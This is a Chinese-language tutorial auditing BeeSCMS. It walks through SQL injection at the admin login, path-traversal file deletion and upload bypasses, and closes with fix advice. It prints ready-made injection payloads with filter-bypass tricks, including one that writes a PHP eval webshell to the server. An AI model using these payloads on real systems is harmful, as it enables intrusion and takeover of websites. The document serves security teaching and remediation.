beescms代码审计
字数 1419 2025-08-12 11:34:07
BeeSCMS代码审计教学文档
一、环境搭建
- 下载BeeSCMS源码:https://pan.baidu.com/s/1slSoqIx
- 解压后访问/install目录进行安装
二、目录结构分析
- admin: 管理员后台文件夹
- data: 系统处理数据相关目录
- emplate: 模板文件夹
- install: 网站安装文件夹
- upload: 上传功能文件夹
三、漏洞审计
1. SQL注入漏洞
漏洞位置:admin/login.php
漏洞分析:
- 登录框存在SQL注入可能
- 使用单引号测试出现报错,说明存在注入点
- 使用
#闭合SQL语句成功
过滤函数:
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete union | from | where | group | into |load_file|outfile/i','',$str);
}
function fl_html($str){
return htmlspecialchars($str);
}
绕过方法:
- 双写绕过技术:
- select → seselectlect
- from → fr from om
- where → wh where ere
- = → like
利用payload:
- 报错注入:
1' or (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
- 爆表:
1' or (extractvalue(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'root' limit 1,1),0x7e)))#
- 爆列:
1' or (extractvalue(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e)))#
- 写shell:
-1'un union ion seleselectct 1,2,3,4,0x3c3f70687020406576616c28245f504f53545b315d293b3f3e in into outoutfilefile 'D:/phpStudy/PHPTutorial/WWW/beescms/1.php'#
2. 任意文件及目录删除漏洞
漏洞位置1:admin_ajax.php
漏洞代码:
elseif($action=='del_pic'){
$file=CMS_PATH.'upload/'.$value;
@unlink($file);
die("图片成功删除");
}
利用方法:
- 通过
../目录穿越实现任意文件删除 - 示例:删除根目录下的1.php
漏洞位置2:admin/admin_db.php
漏洞代码:
elseif($action=='del'){
$fl = $_GET['fl'];
$db_handler=@opendir(DATA_PATH.'backup/'.$fl);
if($db_handler){
while(false!==($d_file=readdir($db_handler))){
@unlink(DATA_PATH.'backup/'.$fl.'/'.$d_file);
}
}
@rmdir(DATA_PATH.'backup/'.$fl);
}
利用方法:
- 通过
../目录穿越删除上级目录 - 示例:删除data目录
3. 文件上传漏洞
漏洞位置1:admin/upload.php
漏洞分析:
- 使用
up_img()函数处理上传 - 仅检查MIME类型,可被绕过
过滤代码:
$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
利用方法:
- 上传PHP文件
- 修改Content-Type为
image/jpeg等允许的类型 - 访问上传路径获取shell
漏洞位置2:admin/admin_pic_upload.php
漏洞分析:
- 同样使用
up_img()函数 - 多文件上传处理存在相同问题
利用方法:
- 同upload.php的利用方式
四、误报分析
-
admin_admin.php:
id参数经过intval()处理,无法注入
-
admin_ajax.php:
id参数同样经过intval()处理
-
XSS漏洞:
- 虽然
fl_html()函数可被绕过,但实际测试未能触发
- 虽然
-
文件包含漏洞:
- 多个疑似文件包含点都被限制在特定目录下
五、审计技巧总结
-
黑盒与白盒结合:
- 先黑盒测试功能点,再白盒分析代码
-
关键函数追踪:
- 追踪
fl_value()、fl_html()等过滤函数 - 关注
intval()等安全函数的使用
- 追踪
-
漏洞模式识别:
- SQL注入:关注用户输入拼接SQL语句处
- 文件操作:关注
unlink()、include()等函数 - 文件上传:关注
move_uploaded_file()和MIME检查
-
工具辅助:
- 使用工具扫描漏洞点,但需人工验证
-
绕过技术:
- 双写绕过过滤
- 修改Content-Type绕过上传限制
- 目录穿越实现任意文件操作
六、修复建议
-
SQL注入:
- 使用预处理语句替代字符串拼接
- 加强过滤函数的正则表达式
-
文件操作:
- 限制文件操作目录
- 检查路径中的
../等特殊字符
-
文件上传:
- 检查文件内容而不仅是MIME类型
- 限制上传文件扩展名
-
权限控制:
- 加强后台操作权限验证
通过本审计案例,可以学习到CMS代码审计的基本流程和方法,特别是如何发现和验证各种类型的漏洞,以及如何绕过常见的防护措施。